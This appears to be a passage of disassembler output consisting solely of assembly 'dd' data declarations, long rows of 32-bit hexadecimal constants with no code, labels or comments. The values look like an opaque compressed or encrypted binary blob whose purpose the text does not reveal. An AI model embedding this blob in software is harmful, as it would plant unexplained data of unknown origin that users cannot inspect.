		dd 0AD48E5EEh, 758B0FFDh, 0C9A99A8Dh, 0D3F1FFC2h, 31052D11h
		dd 0BB15A98Dh, 19ADAF44h, 7F565649h, 3D3E804Fh,	39407F97h
		dd 0D848EFB3h, 4679529h, 0F9BBE9EBh, 0CFD784BDh, 0FC880F05h
		dd 0BCBCD630h, 15CB3CD8h, 0C0B7025Bh, 0A048E64Ah, 7F4A3755h
		dd 0BC850B23h, 2BA3C691h, 0CD5956B9h, 4BDDBC6Bh, 2A25B0B0h
		dd 131DBF80h, 0E1046E2Dh, 1EDB3EE1h, 2A278F80h,	0EA72FCCFh
		dd 9D27D998h, 0A084FA29h, 0FF0ABEB9h, 2AB8B67Dh, 0F7FA2F01h
		dd 0CD4019BFh, 8247547Ch, 2BCB4DB0h, 1A6D262h, 0C7D90914h
		dd 512805E9h, 0E44D79A8h, 0D007D8BCh, 0ABE8EEDAh, 4F77C706h
		dd 3ACC9930h, 77CD4F20h, 6B69001Bh, 0DF019F4Ah,	3A95A017h
		dd 0C7B55759h, 0F6103E00h, 62CF675Bh, 0C8D8673h, 173B0DFh
		dd 0CB8E0008h, 4BB99AAAh, 0A6008D4Eh, 0B7BCC31Dh, 4FE253F8h
		dd 6B0FDDECh, 10A781A6h, 0E5EDBF3Ah, 0E575F027h, 0B6B7690Bh
		dd 9A08DD83h, 822B821Fh, 0DC11ADE5h, 0A101F475h, 0DF62F50Ah
		dd 283F88CEh, 2CD39227h, 26F08AA6h, 10BDF919h, 2D2388Dh
		dd 2262F659h, 7B469B6Fh, 857995h, 30E161A2h, 0A90FF44Fh
		dd 0C28B3FB7h, 75F55B23h, 1C76293Ah, 4B907CD4h,	514088F4h
		dd 2109C400h, 599CE115h, 0A2A05BC8h, 0CEBC001Eh, 0B1141E2Fh
		dd 35EF802h, 1555FA45h,	93D067FDh, 698E1FFh, 0E50C8A27h
		dd 4EF0B5Bh, 2CC0E0D4h,	1F37EAD9h, 136427F9h, 9041F278h
		dd 13BE4C1Bh, 18A8231Dh, 2E04A6E1h, 6FA02EA7h, 4202B8D1h
		dd 419D2B51h, 0D36EE61Dh, 0BB20EA67h, 80F15Bh, 93E39F1Ch
		dd 46C84F54h, 19E18F5Ch, 5B3DED8Dh, 0F08BE62Bh,	17C57046h
		dd 13A7BE8Eh, 4F3CB914h, 81605A80h, 0A90616E6h,	0F2484F8Dh
		dd 0FC610C44h, 3CB65A67h, 539F8CE0h, 937E7B02h,	55606C41h
		dd 44FDFB10h, 0AE8FFB09h, 0B7645Bh, 9C59D852h, 75C87411h
		dd 39DE5700h, 63E001A6h, 6A8062ECh, 0A67E618Fh,	0CF526E97h
		dd 0D8B80FADh, 0F60AF800h, 6D881DDDh, 8DDE4F8Bh, 15BE0102h
		dd 648B6F30h, 81D5DA4Bh, 0B50CA582h, 0EF005523h, 0F0D3472Ah
		dd 0D7020EDAh, 0D98B90BFh, 7784050h, 0DB3AF143h, 75ACC1B9h
		dd 42D4DA23h, 70D70281h, 6A294930h, 0CB4080CFh,	3C68F9FDh
		dd 0AB2718C2h, 26781F42h, 0C9EB3D09h, 0D3978E54h, 0DA2E02E1h
		dd 0C01CC808h, 40CF3EA7h, 0E8C2E305h, 0F7B8F9AFh, 25DC1480h
		dd 0F1008534h, 0FA84A50Ah, 123D1C7Eh, 0EFE666BDh, 0B0D74F60h
		dd 35B92421h, 4E6A270Ah, 0B9323755h, 5C475D00h,	0D82DAF3Ch
		dd 42BB7A2Dh, 32C477CBh, 0C0544D97h, 5EA66C33h,	0DD60E402h
		dd 7EA0F657h, 0E57069F1h, 4F190920h, 8AC2CC5Fh,	0A1CDF94Fh
		dd 3588BCD3h, 0CEA0CE60h, 59A2B960h, 0DB048161h, 187EC89Eh
		dd 0D5D1B3FDh, 7B0090ACh, 2ADFDE85h, 0BD8BBBD7h, 0B9808BC6h
		dd 479D1091h, 6315E484h, 9FC19C6Eh, 0A53326B1h,	0BBD4124Ah
		dd 15232A6Bh, 0BD12520Fh, 0CB98E002h, 49095D4Ch, 5B97EEF0h
		dd 2E7A70CEh, 0C79E8209h, 64006675h, 1616B829h,	0F809B6ACh
		dd 0B7FF3489h, 9B168099h, 782AC62Ch, 50DFB6CBh,	14D39D01h
		dd 0E0ECE3D8h, 3C2100BEh, 809908A2h, 599F2ACFh,	0BA66602Fh
		dd 109D0FEBh, 4689DADh,	0EC6290A1h, 0E964AF11h,	757C86FBh
		dd 37BF660Fh, 293D1CF1h, 5813D1F8h, 6AB81FADh, 9414530Bh
		dd 25405171h, 9FDE9DFCh, 0B48002D1h, 0B77A90BBh, 0CF34E95Ah
		dd 0B249437Fh, 0D2553019h, 77A1F44Eh, 0F5059326h, 81FBBF0Fh
		dd 6AFCE7BCh, 7B41532Dh, 386A1381h, 2EE14D53h, 1A0FDE7h
		dd 593A0623h, 7B5AFF02h, 3DE95781h, 0B1DC24A7h,	0D7D101DEh
		dd 2A16AE8h, 4E3B6A79h,	0A8E9F9A4h, 80B601ADh, 9589DCD3h
		dd 56133B39h, 0F80068BEh, 9499E1A5h, 882E601Dh,	7A00DF04h
		dd 0DB287848h, 712E11D6h, 0B6E600AFh, 0EDCC923Ah, 0E4B53071h
		dd 3DCEF654h, 0A80673Dh, 0A7765225h, 87093788h,	25F69BFh
		dd 7C61F133h, 1C46D645h, 21D4DB00h, 0F1A6E9FAh,	8081E528h
		dd 9B8D405Ah, 56138E38h, 6EF6F178h, 0F6C1C0DEh,	0D8F82598h
		dd 4A16D3C1h, 0A2A3BE77h, 968FE05Eh, 1FE49Dh, 80197F26h
		dd 2F3081B4h, 8341E001h, 0EDAA746Bh, 6848F12Ah,	9AA04BDFh
		dd 0DA2516E7h, 2D7FEC59h, 74CC0939h, 1E005573h,	7FA9ECDAh
		dd 0B58908A2h, 57000115h, 87827ABBh, 0A65F4E64h, 883234Ah
		dd 0F4721BADh, 0C953D422h, 0E9E40090h, 97FD85F8h, 0AB2B003Fh
		dd 0DF223265h, 0A478B08Eh, 6520AC5Bh, 8CDA3Eh, 45CB6F12h
		dd 0F5637705h, 798FC12Fh, 88F2801Dh, 0BD4DF798h, 0A7D87639h
		dd 0AD7F5353h, 0C74096CDh, 5406A71h, 79193634h,	3F0EB1F0h
		dd 0DBAAF425h, 1A87C01Ch, 0BF0BFE45h, 3C971902h, 55F6D4h
		dd 0A0D377F5h, 392EC65Dh, 490BDD7Eh, 25F6512Dh,	0FD2E7D10h
		dd 5A60F226h, 9DB97400h, 3F3A15Dh, 0BA11CAD7h, 0ECA69BE1h
		dd 0A6205030h, 0B53492C3h, 14D4E53Ah, 3C6B02D4h, 7328C0ACh
		dd 0C19FC8C0h, 81EB18B5h
		dd 0D80209DBh, 43052355h, 6295EFB9h, 7ABCABA9h,	0AF80DA01h
		dd 6B4F8DA1h, 7CC6B940h, 0ED714A47h, 31F5C58Dh,	0FE7ABEh
		dd 668BC86h, 9FB01B80h,	0F8006746h, 44B92D76h, 5D567407h
		dd 2904C115h, 8E0C6585h, 0E4BD4EFAh, 98B5E8A8h,	73D78025h
		dd 9EE32D69h, 0E111F65h, 905D815Ah, 993822Ah, 1406B1B5h
		dd 14FD9B9Fh, 100B7332h, 0A847B385h, 0C860D7F7h, 970D01B5h
		dd 43174FE7h, 1D00227Eh, 0DA6FDFAh, 6BF322DDh, 9C810635h
		dd 16BF66Eh, 0E94AB30Ah, 593F800Ch, 0BE7A2DB1h,	2CA90FFBh
		dd 6D5E3BECh, 2993FB45h, 0E93E21EBh, 5EC42FEBh,	1E79DE05h
		dd 882B88F5h, 0F700FBD4h, 0C87D4656h, 1B5AE4h, 1A9DA4E2h
		dd 8F501CE3h, 5B1293BCh, 0FB55A6FCh, 23066B2Eh,	0A7F0E1Bh
		dd 4C954360h, 904A212Ch, 154DB88h, 6931BC25h, 7C505FD1h
		dd 491480A6h, 9FC6054Ah, 76A449F9h, 9DB5B93h, 34DCF5C0h
		dd 0F74B09B2h, 0C1102BACh, 52F9340Ah, 305D77C1h, 0C7E37745h
		dd 2D568540h, 1F8D570h,	0CC327925h, 58E793E4h, 0F30153D7h
		dd 0B6FB6DE9h, 212EB4C5h, 0FDBFF140h, 6C90E11Bh, 0A00D8E6Dh
		dd 0DE3AEA2Ah, 507700E6h, 5E6FD7BFh, 314F905Fh,	60418EFCh
		dd 0DF5EA8AFh, 84B94EBCh, 0BF7C6CE8h, 0B187A904h, 81ABB833h
		dd 2E31F94Fh, 0BFEA075h, 0B75F24F6h, 9FB0A724h,	0F17F7CAh
		dd 0A41D7E3Dh, 29D1FF00h, 9723BD95h, 705E911Ch,	76B006B7h
		dd 6A124E39h, 28FCFC02h, 19F5ABC0h, 0CC07493Eh,	0B764E5D2h
		dd 5C9EE7EEh, 4F540E74h, 0D313EB48h, 23DC6EF4h,	0D75C001Ch
		dd 0CC381D4Dh, 4BF91302h, 5E499509h, 0E37092F1h, 0B0608FB3h
		dd 0F9A9005Fh, 21BD0B8Ah, 39C82B4Ah, 8D324BA3h,	0FAF94781h
		dd 0BCD8A5E1h, 615EFEF2h, 0B9E1C3A7h, 5BCB3036h, 0A8F9335Ah
		dd 97931AB8h, 0BF76FA00h, 484F794Eh, 4D166EA7h,	0E528FC20h
		dd 7BC7029Ah, 3A50D1D4h, 0C4302EECh, 7AFAB70Fh,	92FB956Ah
		dd 1BF8A171h, 66BB3FC4h, 59FD316h, 2115CD51h, 0F5F6CFC8h
		dd 0BA622EF8h, 38242B3Ah, 5DB00906h, 2BB2FA18h,	0EB8B9C07h
		dd 0DE102DA2h, 1A943F7h, 0E5106324h, 3B0F1DBAh,	258B09E0h
		dd 0CFD4E4D8h, 71206109h, 1A2BAB4h, 32218510h, 0A864F5C9h
		dd 79E51900h, 0E01A88B4h, 2507F82h, 38F2A5B0h, 0E67DBA3Bh
		dd 6075018h, 0F8014481h, 230948B0h, 711E91BDh, 0B8826D0h
		dd 0CF7C3967h, 655969h,	24B9CDF8h, 0DA9568F3h, 25B510C0h
		dd 6578926h, 4E13E98Ch,	0B15F85Fh, 7E1D71BDh, 7F58C92Bh
		dd 255E882h, 92DD5AAh, 520D9B05h, 9AC4B18Ah, 10CDA24h
		dd 21A19D8Bh, 6F2DDE62h, 171127F9h, 89195058h, 125D7130h
		dd 0E465D51h, 764285A0h, 6D8DA2C6h, 9D090B9Fh, 0E6491CC9h
		dd 0B1DFF2ADh, 0B7113634h, 43A5EDE6h, 8E76FE1Dh, 0C01AC558h
		dd 43B44A7Eh, 95892894h, 0B686D270h, 190B31BCh,	0B7110287h
		dd 0DB612EB4h, 8100DAD5h, 0A32D56DFh, 16787C29h, 4AE8B801h
		dd 29CC96E9h, 51B71934h, 0AB551A01h, 181FB451h,	0CACCC140h
		dd 0B2BA78h, 0C2A5C05Fh, 55B5E78Ah, 8990467Ah, 56BD139h
		dd 6AB9615Eh, 99BB7E90h, 5C83250Dh, 327FB7C2h, 232B8457h
		dd 0C473651Fh, 287D070h, 120E2F3Eh, 0BE8E1709h,	37E15A11h
		dd 51B05DF2h, 52EFEB80h, 5A0920DBh, 25E9238Dh, 7238F3CBh
		dd 956EC3DDh, 0E3A9FC04h, 6AE27CE6h, 0F8449D5Ch, 23636BFFh
		dd 0E2D3011Bh, 0D0A3C76Ch, 52253BDCh, 4459568Bh, 0DF79B85Fh
		dd 0C62E03A7h, 5EB8EC7Bh, 0AA6A2EBDh, 42DCD01Fh, 6AA4C188h
		dd 1E71E140h, 65A5E799h, 3E7A1A40h, 0E0624DD5h,	72D309B6h
		dd 80DEB706h, 0EE897F3h, 0B8277CEFh, 0B16EE712h, 352E3CC2h
		dd 1DBD8148h, 0FFE1122Ah, 0ED18ABB7h, 4BE1D3A2h, 17288AB1h
		dd 1E904AEh, 7000EE8h, 0C013852Eh, 256D3FC9h, 40C5CDB3h
		dd 7C049609h, 124BF402h, 3722568Ah, 0A949317Dh,	54602D41h
		dd 5F1710E6h, 122ACEE1h, 0C06EFEF9h, 8C2EA25h, 6272B1F3h
		dd 44B8FF8Eh, 9DCF1FDDh, 8188F386h, 0E4C71281h,	8D7705CEh
		dd 0A919D4C9h, 0F97321FBh, 90B3181Ah, 60D40928h, 1D52732Dh
		dd 0D072FBB5h, 0A9002332h, 0BBCA21C4h, 9BF9C3Ch, 1C72C0AAh
		dd 7EA51B73h, 3A00D461h, 2709821Bh, 25542EB4h, 65023D38h
		dd 1AF7B763h, 853E40B0h, 6850810Bh, 2D7B80DAh, 3D95AAECh
		dd 0C82EF6Dh, 0BEC0F29Dh, 42AD7150h, 48F5CFE3h,	581AC93Ah
		dd 207D7E7Ah, 5459684Eh, 80924B2Ah, 0F4AFA60Fh,	22E86D28h
		dd 4055B70Ah, 21506F29h, 4A83F681h, 29C5A0C5h, 975B1140h
		dd 61B5293Ah, 0BD039287h, 90DC2D15h, 0EB123890h, 0FDD24296h
		dd 8E1CAC61h, 50E2CF00h, 0A2DC5B95h, 7D9097E8h,	73D4D71h
		dd 0BDF34EE7h, 75185A58h, 0A5E9E927h, 0FE928194h, 0B73A00E1h
		dd 0E561B052h, 62B83F71h, 0BF38B682h, 0CDD765B3h, 0E176743h
		dd 0DF409F10h, 33604850h, 0E43D4E9Dh, 614FF309h, 0ADD86820h
		dd 1A1C00CDh, 0B4662B4Ch, 0C495CB9Fh, 537401ACh, 0D3AB09FEh
		dd 9822E14h, 1B911F0Fh,	0C49E4180h, 4E12929Ch, 70E3AB76h
		dd 510FBA40h, 0C87A658Ch, 0DE0EA9F3h, 40077CDBh, 46046BB3h
		dd 0C3910103h, 5797490h, 91173233h, 0A0ACC6h, 0EF58E0Ah
		dd 1EAAA738h, 2DA05A97h, 0D4C60446h, 0FBDB8107h, 96D1D572h
		dd 0FC85B50h, 21236F8Eh, 0BDBB5220h, 487D917Dh,	3723314Ah
		dd 3EDFA85Ch, 7AED0037h, 0B96C9C7Eh, 1104D9E5h,	0A8323B2Fh
		dd 962C0BFEh, 0A8D1282h, 0A0E46E57h, 802519BEh,	0E71A8968h
		dd 0A0ACDCC2h, 5C1C76EBh, 2032B023h, 0DC901955h, 0C86FFB09h
		dd 0A4C25960h, 24020213h, 0A3578A90h, 0C03A22CFh, 95A99D0Bh
		dd 4D57C1C2h, 601764A6h, 5599AF88h, 0B36FAA42h,	3761276Bh
		dd 5F002FBDh, 27EEB391h, 4A95F095h, 0FCBDED1Bh,	1C738C16h
		dd 0FDAE2762h, 71ED561Fh, 0C5B72F47h, 55E083B0h, 80C74300h
		dd 0E94DFB12h, 285B9D39h, 4A150DD8h, 0B8E7CE25h, 44E69CFCh
		dd 0D59CFA63h, 3D7F04EAh, 0AC1C49EEh, 409A1D6h,	0F257E004h
		dd 0CACE8252h, 0D62D9EF7h, 0E201DE72h, 579691ECh, 6B2BFC49h
		dd 1B2335h, 0DFBC2B92h,	8B2550B8h, 16C66E9Fh, 657547EFh
		dd 0CD3D043Fh, 0B52FAC23h, 273996Bh, 94E482ECh,	0DA7938C1h
		dd 7B4EE00h, 4BC964h, 161D8B3Eh, 94D460E5h, 0B782B107h
		dd 0DEC54D6Eh, 0BE2B74BFh, 4F260A6Ah, 29053999h, 0BB1BC98Dh
		dd 1C231D6Fh, 7C01C024h, 7ACD17Bh, 0D830DDC9h, 0F44EB711h
		dd 0B472B7h, 890B0153h,	0EEFDF228h, 40FF395h, 0AD24499Dh
		dd 8C15BCE9h, 80E00327h, 359D01EFh, 8BDB9D32h, 700BC1A4h
		dd 0D6177E9Eh, 0B25F1C46h, 44238F7Eh, 0DCEE1099h, 8B95F96Bh
		dd 0DCAC7474h, 1285F701h, 21A18D31h, 1DC6982Fh,	0A0E1702h
		dd 56B8A28Ch, 0FCD3278Bh, 4F636C70h, 61B0E018h,	454D60EDh
		dd 92F2054Bh, 3912A2A8h, 2FF110D2h, 88FA63Bh, 4917C185h
		dd 502B68D4h, 0F554425h, 0FBDA57D1h, 0C11501C1h, 0B6986BAFh
		dd 12AD2085h, 7EC8965Fh, 300B0062h, 2F517E49h, 0A6F088FBh
		dd 6AE57351h, 0FC73CC7h, 7045B8B8h, 0CBAB6E6h, 21C551A0h
		dd 7FA098B4h, 30D3801Ah, 3CBD77AFh, 22523981h, 9AF95ABFh
		dd 372AA431h, 49AB1B50h, 0B5E9D076h, 0DEC58455h, 8007AC9Fh
		dd 49B85E92h, 91CC0076h, 0DBC82AF6h, 60BD636h, 60948756h
		dd 95B172Fh, 1AA98531h,	44A79CDDh, 0E7288039h, 1D20C6CAh
		dd 0BB501D32h, 0A6CC97Bh
		dd 17BBEEF0h, 50ABDC72h, 8F51E380h, 0F89F7BBFh,	712D7E80h
		dd 0E7004670h, 2C13EE1h, 25AF3FBBh, 2FCC7F16h, 549440F8h
		dd 22A9FE17h, 98DAF7C2h, 8B62355Ch, 512B5CF9h, 1AC80F59h
		dd 93297BC0h, 75A4197Ah, 2EF88A0Bh, 0BD892D30h,	7BC6B749h
		dd 0DCB796h, 495A4223h,	3BC6EFC0h, 0C5AD1B25h, 0FA8B8041h
		dd 0FFF36FE9h, 0FE1EACBCh, 38A6C197h, 8590F4E3h, 1401C456h
		dd 0A2C6E781h, 0E62B024Eh, 91322B1h, 5301CB7Bh,	47C00280h
		dd 9300AB49h, 776FCEFCh, 2D2B6ECDh, 0DC5C50C8h,	0C2D9D440h
		dd 0A07E0AB6h, 0AFE5FE5Eh, 6FFB71A9h, 0CC64DF72h, 75ED365Ah
		dd 1EB03CE8h, 17C9594Ah, 0C09FC828h, 71D9858Ch,	97007F44h
		dd 63BB2F91h, 143C2C19h, 9186C39Fh, 0D5800809h,	1869022Eh
		dd 0E3F84D73h, 71CD1DA0h, 0CC124410h, 4E0FBC6Dh, 0F4C0A920h
		dd 4BF6F8h, 0F6D38DFDh,	9C1B5C34h, 62AA504Ah, 0BDDDD88Bh
		dd 0B27980B9h, 1BF4111Ch, 0B027D5E4h, 851CB0C5h, 0FBF5D3B5h
		dd 3502A27Ah, 10699ECCh, 0FC347350h, 82BB4AC6h,	755C264Ch
		dd 0D50902E9h, 69735C41h, 0BAF50E2Fh, 0E41BF0BDh, 7D584F07h
		dd 0FA2173Ah, 9CDDF985h, 0D9B5601Dh, 0A9A56518h, 0F0F4EC50h
		dd 0E0C00234h, 26A1328h, 0DC0BDEh, 0B3E9E178h, 28E8A526h
		dd 0BAC4EB77h, 900B3151h, 0B6266098h, 3E87A78h,	6050B112h
		dd 0FE0074F2h, 0E1355DC9h, 8BECADBCh, 9061C317h, 1009706Fh
		dd 2B806BCCh, 39E1C61Bh, 0EE5A0CC1h, 26724C27h,	4026584h
		dd 0B2B864E9h, 48012E1h, 9BE04EA6h, 0EC04904Bh,	0D0D9A21Fh
		dd 29B6EAFh, 0DC12D329h, 540157CBh, 4409582Eh, 2BECF1B5h
		dd 0C61F071h, 0D0B63Bh,	0D4F7D963h, 8A9F2Dh, 0EAEC132h
		dd 0CAD25BA3h, 0EA508E27h, 7DDE892Eh, 53AA3390h, 0E18F5407h
		dd 72C0CFD6h, 17DA6D8Eh, 0D9EDEE59h, 0FC252BFFh, 8FE851E9h
		dd 676B43Fh, 67EEF362h,	62D2562h, 0F0BFDC5h, 0D1187783h
		dd 1897B999h, 0F16AF5E6h, 39BD6E6Fh, 74FCD84Dh,	0D8EDD3BFh
		dd 70253B25h, 44F6CC20h, 0B5102902h, 0EA9B2FF5h, 305D17FAh
		dd 0F2AA90EAh, 272402EDh, 4585D0A9h, 0E609A05Dh, 1209BF70h
		dd 0E4473503h, 1046E9F9h, 0B98CA29h, 8CD0C8B6h,	0DA2ACB6Bh
		dd 88614BCBh, 209F57E9h, 0D381C10Ch, 979316B9h,	129EF927h
		dd 0CEE0D9B7h, 91851029h, 8BBF8006h, 0E90C8A89h, 0BF7FB7E8h
		dd 2666741Ah, 823C811Fh, 25884540h, 18BED968h, 76314258h
		dd 0BAAACD85h, 526079C0h, 0B15D8DF4h, 0C15933CDh, 8DBEFCF2h
		dd 5DB47B6Ah, 0DA446AB3h, 0C2164D4Ah, 0EDCF8A5Ch, 482B6315h
		dd 0ADA80AEDh, 0E922C490h, 68F56230h, 5C091191h, 0E608125Ch
		dd 0C1A22DAh, 2239BD09h, 1BA2A51Fh, 2BB42D7h, 5C8AB36Bh
		dd 0E526C2BEh, 40B16FD7h, 5A7E10F6h, 0BB6F1D01h, 7AF29CE2h
		dd 83CDAA04h, 0A820B27Bh, 0F1D000F5h, 0B9FC706Fh, 3D950732h
		dd 89DE01E7h, 12ABD8Dh,	172E30B7h, 12AF07F3h, 21E96518h
		dd 0D83076CBh, 0CC050BBEh, 0E20E3F14h, 82019EEFh, 6603608Bh
		dd 7B8AEE5Bh, 0A9B512D7h, 0BB272527h, 0E9894423h, 9E2B0FE9h
		dd 219D127Eh, 0BDFC31E0h, 0AB00BF37h, 0DD8611FEh, 0B0E092Dh
		dd 202B559Dh, 59600C32h, 0CC951CF5h, 2D097B8Ah,	78100EB9h
		dd 4C9E89F5h, 0A57FBB60h, 0E77A4A64h, 1EDA5A4Ah, 0C7DA1B80h
		dd 179754F1h, 611764EAh, 95F1D79Dh, 1E65AD47h, 19E36D02h
		dd 0DC855434h, 10337A2Fh, 2D0160F0h, 7DFEF195h,	1243F9ADh
		dd 8E19F261h, 0C0B71273h, 0F1F7CCA0h, 60FDE407h, 0C29480BCh
		dd 23CE6AAFh, 0E34F0119h, 31701C03h, 9AB27B9Bh,	8666024h
		dd 752510F5h, 61F0F7B0h, 6A309A97h, 0B048D7FAh,	9187107Dh
		dd 0DE8B122Eh, 3A88EEE2h, 0D9091EA6h, 46D6715Bh, 66CF87F3h
		dd 56AB5911h, 3C000B63h, 0A5A04B8Bh, 424B2F62h,	5B8963F8h
		dd 0D495E170h, 2A27DCADh, 56082353h, 605B81B3h,	32C7F76Ah
		dd 8161B191h, 251585A1h, 2257FC02h, 5CDA8A0Ah, 1578AC8h
		dd 0D202F6DEh, 0D5F975E2h, 6B29DF23h, 42946F57h, 6A60E74Ah
		dd 19991749h, 321D8D61h, 29E9DD2Ah, 958D82AAh, 30810B15h
		dd 6E50437Bh, 33A088h, 0BA60CB0Ch, 7B3BE6CAh, 905F4601h
		dd 0AD9D8956h, 1D6B7B65h, 89552527h, 78CFF312h,	250CFE57h
		dd 60A5C74Eh, 40094141h, 2B47683Fh, 0FAB81F72h,	70EEDC27h
		dd 28B838E5h, 16CD9D7Dh, 5C7246C2h, 1A46D6B6h, 51900601h
		dd 0E4C0AAA9h, 0E4B9EAB3h, 20A3C80h, 7AC514h, 5256ABE6h
		dd 0CD5499C9h, 0FFC01297h, 4A80C9B7h, 0A6BFE264h, 7BCD09DAh
		dd 5120C9E9h, 0B036D781h, 0CD3D4025h, 601B64ACh, 139D10EBh
		dd 13233B6Eh, 571EA0Dh,	0B73B1685h, 8D0F1448h, 77E85E33h
		dd 3E78CD4Ah, 0A5BA6824h, 12A63B90h, 0D83019B2h, 46730090h
		dd 9ABF6CB0h, 2848C696h, 50502779h, 5F144031h, 5AB7DBBDh
		dd 58BFEF4Eh, 2EEE58D2h, 7912F627h, 0B942CEFEh,	9D04F770h
		dd 7DB1122Ah, 23AD9804h, 11F4962Fh, 9A716Bh, 0B942106Ah
		dd 7F90C5E3h, 0D4055B4Bh, 1CA296DAh, 414F4300h,	6CBD1310h
		dd 0CFC28800h, 9A3C3924h, 6E22121Bh, 3A74E112h,	4EB050A7h
		dd 0BB057394h, 33E05662h, 1539A404h, 0F4ED6800h, 9FD53854h
		dd 0F7120FCAh, 158D494Bh, 0AE484170h, 81282CD7h, 0B3E47FDBh
		dd 0E02FD0C4h, 6466049Bh, 0ABC4EE3Eh, 116A228Dh, 0E85EBB81h
		dd 0CCB909DCh, 317F8F7Dh, 0AD0AB802h, 0D05758A0h, 5D53989Fh
		dd 0B4900B1h, 8C1BB8h, 0D3F4691Ah, 5B45390Fh, 9C88614Ah
		dd 0C752BDD7h, 5CB4AD01h, 8170C29Bh, 78B52D2Eh,	0C71B257Dh
		dd 24421A97h, 0E07EED5Fh, 0A6BE7F55h, 38E9481Ah, 6CCDF518h
		dd 5CE0ECE2h, 29C07592h, 972745B5h, 0CD41FCCFh,	282E5C51h
		dd 77E9E2A1h, 4CC0B70Fh, 58E2F1EDh, 0C5147FD2h,	0AEF1FA25h
		dd 0B17A6F03h, 0B68F1300h, 46AA7FE1h, 3B26FBB0h, 0C860C8F5h
		dd 5F9670A1h, 0ED811620h, 1FC8EC59h, 65C18501h,	0D35A0A7Eh
		dd 80A750E0h, 14CF3214h, 1E311291h, 0F8762BE7h,	0ED125AFDh
		dd 0C381C04Ah, 2FF86766h, 5829504Dh, 1CDD5708h,	0FBBD200Ch
		dd 0C52F3E9Ch, 5F72D15Eh, 3D019235h, 823FF813h,	9DEA66Ah
		dd 71E0BABBh, 0B4FCAD98h, 0BF006A21h, 37A66038h, 6D4F9DE9h
		dd 958566A5h, 79B532D8h, 0A50054F4h, 625DE451h,	13B4BBF7h
		dd 8C0260A4h, 0BD710134h, 0F9A21F4Ah, 7911BF02h, 9370456Dh
		dd 56026295h, 40B72560h, 0DD11F700h, 4B8BA7DEh,	605B8DFBh
		dd 1D120476h, 3FE32C82h, 548F815Eh, 0E272A379h,	0D2562Dh
		dd 232E03F6h, 4B9249BDh, 544451BDh, 0F36C4E01h,	65676130h
		dd 4F86F060h, 39648C0Dh, 629DAB10h, 0B85F4F78h,	44E84EE1h
		dd 0D2BD331Eh, 0BCCBA910h, 0C2018C1Ah, 252A857Fh, 0C44110B2h
		dd 732E2B31h, 0D47EB736h, 67199925h, 5B4111FFh,	6170410Eh
		dd 42B02D89h, 6E5EA527h, 1500089h, 68ABF06Ah, 0C288482Fh
		dd 43A2CF02h, 81F503F2h, 4E8AC753h, 2F37B12Eh, 6483699Fh
		dd 21F81C97h, 0B102848Ah, 8D290212h, 0F71A6AC5h, 68687E4Dh
		dd 5349CE62h, 0FF6017FBh, 78D06836h, 299604DFh,	0EF11959Dh
		dd 5309D08Ah, 0A45DBD03h, 3BB85BE5h, 9C0020D7h,	0C70064F5h
		dd 701A386Bh, 1C8BE49h,	11B0416Fh, 2EA1EBA0h, 88425028h
		dd 0DB95AFB3h, 611C7h, 40EA5856h, 25F9C1B4h, 0B65CC65Fh
		dd 921500F4h, 0B6B9CFADh, 1D258C9Bh, 0D535E229h, 0B5A78AEDh
		dd 8796011Dh, 0D20FE354h
		dd 1CB95F64h, 0C3675F00h, 1EE68C8Eh, 4041E4C5h,	0D5A99299h
		dd 9C0A5013h, 0CE4A4E7Eh, 0E9ECDF28h, 7A84D94Bh, 4826EEAh
		dd 7265EB54h, 385BF130h, 8C88EA5Ah, 6EC14E8Bh, 0E81E7CFDh
		dd 1DD09D0Bh, 3228A04Fh, 0A4E76595h, 0C602D6B5h, 0C82F28BCh
		dd 0E1C45590h, 0E799BA00h, 0FEE2251Ah, 91C020Ah, 1B8E6C9h
		dd 0B5B666FFh, 0F955EC42h, 94412DDDh, 896E2F90h, 428FCD1Dh
		dd 3E03A5A3h, 716C8B7Fh, 0CE632D34h, 8F75F40Ah,	0AFB886D5h
		dd 0D4BA7608h, 8280F3B3h, 0BF90E984h, 4CB4E26Eh, 0DA3CD33Eh
		dd 1C086ECBh, 0BF810B3Fh, 0DF698791h, 0ACDA06Ah, 99FC4082h
		dd 96CEB42Dh, 0E85BB9FEh, 2A940297h, 848EABBEh,	0F0696840h
		dd 502D9A30h, 4EA5BD0Bh, 0B464F81Fh, 8A120A6h, 0A7FF406Fh
		dd 0E1289D03h, 0DE4B6102h, 128B9A8Dh, 27FFFDAh,	55148517h
		dd 0A26BED9Ch, 55375D5Ch, 0E29B3C87h, 8120A2C3h, 78857C62h
		dd 9B026ADFh, 0B872C0A1h, 27B1546Dh, 28C2D042h,	3D403ED6h
		dd 21579E4h, 738D9D69h,	97E1D42Dh, 0BB01C463h, 89200D2Dh
		dd 89F6898Dh, 99BA7D02h, 0ED9F3C58h, 0D121C0FBh, 0F3BA9E9Ah
		dd 800F5DB3h, 7F1333CBh, 7F6B38BBh, 6E6A8F41h, 5BF039E2h
		dd 0D70957BCh, 0B77712E7h, 0BECD122Ch, 6AAB2E74h, 0AC9133Eh
		dd 17D0804h, 0B724D010h, 9DAC22EFh, 50A04666h, 65B50911h
		dd 978114E8h, 18EFC00Bh, 2B5AB7DDh, 0BE7BA5C0h,	2BBD230Eh
		dd 94F51Dh, 15A19510h, 8809B25Ah, 0B0F4B20h, 0C7F41D89h
		dd 356201F4h, 0DB806710h, 2B2E3171h, 21064C62h,	0DE91BD31h
		dd 0E6F510h, 0F640BB70h, 71E41D61h, 0B05B71BDh,	0C9CCCE50h
		dd 3A92434Bh, 498511E0h, 90522A75h, 0C83E46B1h,	8A00358Ah
		dd 0AA088D50h, 0D43BB9h, 93FB78C1h, 6A74AB0Ch, 29AABA4Ah
		dd 3C56AE8h, 538EC5BCh,	0F044B4F4h, 0CF76955Fh,	0E758D04h
		dd 1FB92E18h, 626B7782h, 0B98445CBh, 0D9426264h, 0E7DE0F25h
		dd 0CBA98910h, 702AF00h, 127D17BFh, 0E106FF50h,	0BC99D18h
		dd 91088539h, 0E59842Ch, 5F91EF83h, 0B47BF952h,	83B8892Ah
		dd 64A97495h, 828CAE10h, 0E960135Fh, 1D478837h,	8D672663h
		dd 0C8034AFFh, 66882248h, 0F3C13EBFh, 2813A5A8h, 41FA09FEh
		dd 10C9042Dh, 0D5168353h, 0A428BA16h, 0F60A7D38h, 94C70D80h
		dd 36F25F52h, 72F7F07Eh, 6B0100B3h, 0BBDC54E2h,	51255DF1h
		dd 0F51C62Dh, 319EC8BFh, 5978B9A5h, 20FCE087h, 1A41D1A3h
		dd 5B04FDDEh, 0E560931h, 5B0BF1EDh, 614DC02Bh, 893CBDC1h
